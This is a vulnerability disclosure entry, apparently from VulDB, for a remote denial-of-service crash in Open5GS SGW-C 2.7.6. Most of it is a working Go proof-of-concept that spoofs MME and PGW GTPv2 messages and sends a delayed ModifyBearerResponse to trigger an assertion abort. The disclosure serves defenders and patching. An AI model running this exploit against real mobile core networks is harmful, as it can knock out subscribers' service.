Enviar #738371: Open5GS SGWC v2.7.6 Denial of Serviceinformación

TítuloOpen5GS SGWC v2.7.6 Denial of Service
Descripción### Description SGW-C can be forced to abort (SIGABRT / core dumped) if a ModifyBearerResponse is delivered on S5-C after the corresponding S11 transaction has already timed out and been freed. The handler sgwc_s5c_handle_modify_bearer_response() expects to retrieve a valid associated S11 transaction (s11_xact), but when the S11-side transaction is stale/expired, s11_xact becomes NULL and the code hits ogs_assert(s11_xact), crashing open5gs-sgwcd. This results in a remote DoS condition for any attacker who can simulate MME/PGW behavior and control message timing. ### Credit Ziyu Lin, Xiaofeng Wang, Wei Dong (Nanyang Technological University) ### CVSS3.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H ### Steps to reproduce 1. Start a new go project inside a new folder: `go mod init poc` 2. Create a `main.go` and paste the code below: ``` // PB2-06 PoC: ModifyBearerResponse Stale S11 Transaction // Target: Open5GS SGW-C v2.7.6 // Vulnerability: ogs_assert(s11_xact) in sgwc_s5c_handle_modify_bearer_response (s5c-handler.c:350) // // Attack Flow: // 1. MME -> SGW-C: CreateSessionRequest (establish session) // 2. PGW: Respond to CreateSessionRequest // 3. MME -> SGW-C: ModifyBearerRequest (creates S11 transaction) // 4. SGW-C -> PGW: ModifyBearerRequest (creates S5c transaction, associated with S11) // 5. Wait for S11 transaction to timeout (don't respond from MME side) // 6. PGW -> SGW-C: ModifyBearerResponse (S11 transaction already expired) // 7. ogs_assert(s11_xact) fails -> crash package main import ( "flag" "log" "net" "time" "github.com/wmnsk/go-gtp/gtpv2" "github.com/wmnsk/go-gtp/gtpv2/ie" "github.com/wmnsk/go-gtp/gtpv2/message" ) var ( sgwcS11Addr = flag.String("sgwc-s11", "10.44.44.2:2123", "SGW-C S11 address") sgwcS5cAddr = flag.String("sgwc-s5c", "10.44.44.2:2123", "SGW-C S5c address") mmeAddr = flag.String("mme", "10.44.44.5:2123", "MME bind address") pgwAddr = flag.String("pgw", "10.44.44.4:2123", "PGW bind address") xactTimeout = flag.Duration("xact-timeout", 4*time.Second, "S11 transaction timeout wait") ) func main() { flag.Parse() log.SetFlags(log.Ltime | log.Lmicroseconds) log.Println("=== PB2-06 PoC: ModifyBearerResponse Stale S11 Transaction ===") log.Printf("Target: SGW-C S11=%s, S5c=%s", *sgwcS11Addr, *sgwcS5cAddr) log.Printf("Attacker: MME=%s, PGW=%s", *mmeAddr, *pgwAddr) // Parse addresses mmeLocal, _ := net.ResolveUDPAddr("udp", *mmeAddr) pgwLocal, _ := net.ResolveUDPAddr("udp", *pgwAddr) sgwcS11, _ := net.ResolveUDPAddr("udp", *sgwcS11Addr) sgwcS5c, _ := net.ResolveUDPAddr("udp", *sgwcS5cAddr) // Create MME and PGW UDP connections mmeConn, err := net.ListenUDP("udp", mmeLocal) if err != nil { log.Fatalf("Failed to bind MME: %v", err) } defer mmeConn.Close() log.Printf("[MME] Listening on %s", mmeLocal) pgwConn, err := net.ListenUDP("udp", pgwLocal) if err != nil { log.Fatalf("Failed to bind PGW: %v", err) } defer pgwConn.Close() log.Printf("[PGW] Listening on %s", pgwLocal) // State tracking var sgwS11cTeid, sgwS5cTeid uint32 var s5cSeqNum uint32 mmeSeqNum := uint32(1) // Step 1: MME -> SGW-C: CreateSessionRequest log.Println("\n[Step 1] MME -> SGW-C: CreateSessionRequest") csReq := createSessionRequest(mmeSeqNum) if err := sendMsg(mmeConn, sgwcS11, csReq); err != nil { log.Fatalf("Failed to send CreateSessionRequest: %v", err) } mmeSeqNum++ // Wait for SGW-C -> PGW: CreateSessionRequest log.Println("[Step 2] Waiting for SGW-C -> PGW: CreateSessionRequest...") buf := make([]byte, 4096) pgwConn.SetReadDeadline(time.Now().Add(5 * time.Second)) n, _, err := pgwConn.ReadFromUDP(buf) if err != nil { log.Fatalf("Failed to receive CreateSessionRequest at PGW: %v", err) } // Parse to get SGW's S5c TEID msg, err := message.Parse(buf[:n]) if err != nil { log.Fatalf("Failed to parse message: %v", err) } switch m := msg.(type) { case *message.CreateSessionRequest: csReqFromSgw := m // Extract SGW-C S5c F-TEID sgwS5cTeid, _ = csReqFromSgw.SenderFTEIDC.TEID() s5cSeqNum = csReqFromSgw.SequenceNumber log.Printf("[PGW] Received CreateSessionRequest, SGW S5c TEID: 0x%08x, Seq: %d", sgwS5cTeid, s5cSeqNum) case *message.ModifyBearerRequest: mbReqFromSgw := m if mbReqFromSgw.SenderFTEIDC == nil { log.Fatalf("ModifyBearerRequest missing Sender F-TEID") } sgwS5cTeid, err = mbReqFromSgw.SenderFTEIDC.TEID() if err != nil { log.Fatalf("Failed to parse ModifyBearerRequest Sender F-TEID: %v", err) } s5cSeqNum = mbReqFromSgw.SequenceNumber log.Printf("[PGW] Received ModifyBearerRequest (path switch), SGW S5c TEID: 0x%08x, Seq: %d", sgwS5cTeid, s5cSeqNum) log.Printf("\n[Step 3] Waiting %v for S11 transaction to timeout...", *xactTimeout) log.Println(" (SGW-C's S11 transaction will expire, but S5c transaction remains)") time.Sleep(*xactTimeout) log.Println("\n[Step 4] PGW -> SGW-C: ModifyBearerResponse (S11 transaction expired!)") log.Println(" Expected: ogs_assert(s11_xact) fails -> CRASH") mbRsp := modifyBearerResponse(sgwS5cTeid, s5cSeqNum) if err := sendMsg(pgwConn, sgwcS5c, mbRsp); err != nil { log.Fatalf("Failed to send ModifyBearerResponse: %v", err) } log.Println("\n[*] PoC sent! Check SGW-C for crash:") log.Println(" FATAL: sgwc_s5c_handle_modify_bearer_response: Assertion `s11_xact' failed.") log.Println(" (s5c-handler.c:350)") time.Sleep(2 * time.Second) return default: log.Fatalf("Expected CreateSessionRequest or ModifyBearerRequest, got %T", msg) } // Step 3: PGW -> SGW-C: CreateSessionResponse log.Println("[Step 3] PGW -> SGW-C: CreateSessionResponse") pgwS5cTeid := uint32(0x30000001) pgwS5uTeid := uint32(0x30000002) csRsp := createSessionResponse(sgwS5cTeid, s5cSeqNum, pgwS5cTeid, pgwS5uTeid) if err := sendMsg(pgwConn, sgwcS5c, csRsp); err != nil { log.Fatalf("Failed to send CreateSessionResponse: %v", err) } // Wait for SGW-C -> MME: CreateSessionResponse log.Println("[Step 4] Waiting for SGW-C -> MME: CreateSessionResponse...") mmeConn.SetReadDeadline(time.Now().Add(5 * time.Second)) n, _, err = mmeConn.ReadFromUDP(buf) if err != nil { log.Fatalf("Failed to receive CreateSessionResponse at MME: %v", err) } msg, err = message.Parse(buf[:n]) if err != nil { log.Fatalf("Failed to parse CreateSessionResponse: %v", err) } csRspFromSgw, ok := msg.(*message.CreateSessionResponse) if !ok { log.Fatalf("Expected CreateSessionResponse, got %T", msg) } if csRspFromSgw.Cause != nil { if cause, err := csRspFromSgw.Cause.Cause(); err == nil { log.Printf("[MME] CreateSessionResponse cause=%d", cause) } } if csRspFromSgw.SenderFTEIDC == nil { log.Fatalf("CreateSessionResponse missing Sender F-TEID (session not accepted or SGW-U not ready)") } sgwS11cTeid, err = csRspFromSgw.SenderFTEIDC.TEID() if err != nil { log.Fatalf("Failed to parse Sender F-TEID: %v", err) } log.Printf("[MME] Session established! SGW S11c TEID: 0x%08x", sgwS11cTeid) // Step 5: MME -> SGW-C: ModifyBearerRequest log.Println("\n[Step 5] MME -> SGW-C: ModifyBearerRequest") mbReq := modifyBearerRequest(sgwS11cTeid, mmeSeqNum) if err := sendMsg(mmeConn, sgwcS11, mbReq); err != nil { log.Fatalf("Failed to send ModifyBearerRequest: %v", err) } mmeSeqNum++ // Wait for SGW-C -> PGW: ModifyBearerRequest log.Println("[Step 6] Waiting for SGW-C -> PGW: ModifyBearerRequest...") pgwConn.SetReadDeadline(time.Now().Add(5 * time.Second)) n, _, err = pgwConn.ReadFromUDP(buf) if err != nil { log.Fatalf("Failed to receive ModifyBearerRequest at PGW: %v", err) } msg, _ = message.Parse(buf[:n]) mbReqFromSgw, ok := msg.(*message.ModifyBearerRequest) if !ok { log.Fatalf("Expected ModifyBearerRequest, got %T", msg) } s5cSeqNum = mbReqFromSgw.SequenceNumber log.Printf("[PGW] Received ModifyBearerRequest, Seq: %d", s5cSeqNum) // Step 7: Wait for S11 transaction to timeout log.Printf("\n[Step 7] Waiting %v for S11 transaction to timeout...", *xactTimeout) log.Println(" (SGW-C's S11 transaction will expire, but S5c transaction remains)") time.Sleep(*xactTimeout) // Step 8: PGW -> SGW-C: ModifyBearerResponse (delayed) log.Println("\n[Step 8] PGW -> SGW-C: ModifyBearerResponse (S11 transaction expired!)") log.Println(" Expected: ogs_assert(s11_xact) fails -> CRASH") mbRsp := modifyBearerResponse(sgwS5cTeid, s5cSeqNum) if err := sendMsg(pgwConn, sgwcS5c, mbRsp); err != nil { log.Fatalf("Failed to send ModifyBearerResponse: %v", err) } log.Println("\n[*] PoC sent! Check SGW-C for crash:") log.Println(" FATAL: sgwc_s5c_handle_modify_bearer_response: Assertion `s11_xact' failed.") log.Println(" (s5c-handler.c:350)") // Wait a bit to see any response time.Sleep(2 * time.Second) } func createSessionRequest(seq uint32) message.Message { return message.NewCreateSessionRequest( 0, seq, ie.NewIMSI("001010000000001"), ie.NewMSISDN("0000000000"), ie.NewMobileEquipmentIdentity("353490061234560"), ie.NewServingNetwork("001", "01"), ie.NewRATType(gtpv2.RATTypeEUTRAN), ie.NewIndicationFromOctets(0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00), ie.NewFullyQualifiedTEID(gtpv2.IFTypeS11MMEGTPC, 0x10000001, "10.44.44.5", ""), ie.NewFullyQualifiedTEID(gtpv2.IFTypeS5S8PGWGTPC, 0x30000001, "10.44.44.4", "").WithInstance(1), ie.NewAccessPointName("internet"), ie.NewSelectionMode(gtpv2.SelectionModeMSorNetworkProvidedAPNSubscribedVerified), ie.NewPDNType(gtpv2.PDNTypeIPv4), ie.NewAggregateMaximumBitRate(500000, 500000), ie.NewBearerContext( ie.NewEPSBearerID(5), ie.NewBearerQoS(1, 2, 1, 9, 50000, 50000, 50000, 50000), ie.NewFullyQualifiedTEID(gtpv2.IFTypeS5S8PGWGTPU, 0x30000002, "10.44.44.4", "").WithInstance(2), ), ) }
Fuente⚠️ https://github.com/open5gs/open5gs/issues/4266
Usuario
 FrankyLin (UID 94345)
Sumisión2026-01-14 04:09 (hace 5 meses)
Moderación2026-01-28 11:14 (14 days later)
EstadoAceptado
Entrada de VulDB343193 [Open5GS hasta 2.7.6 SGWC src/sgwc/s5c-handler.c sgwc_s5c_handle_modify_bearer_response denegación de servicio]
Puntos20

Want to know what is going to be exploited?

We predict KEV entries!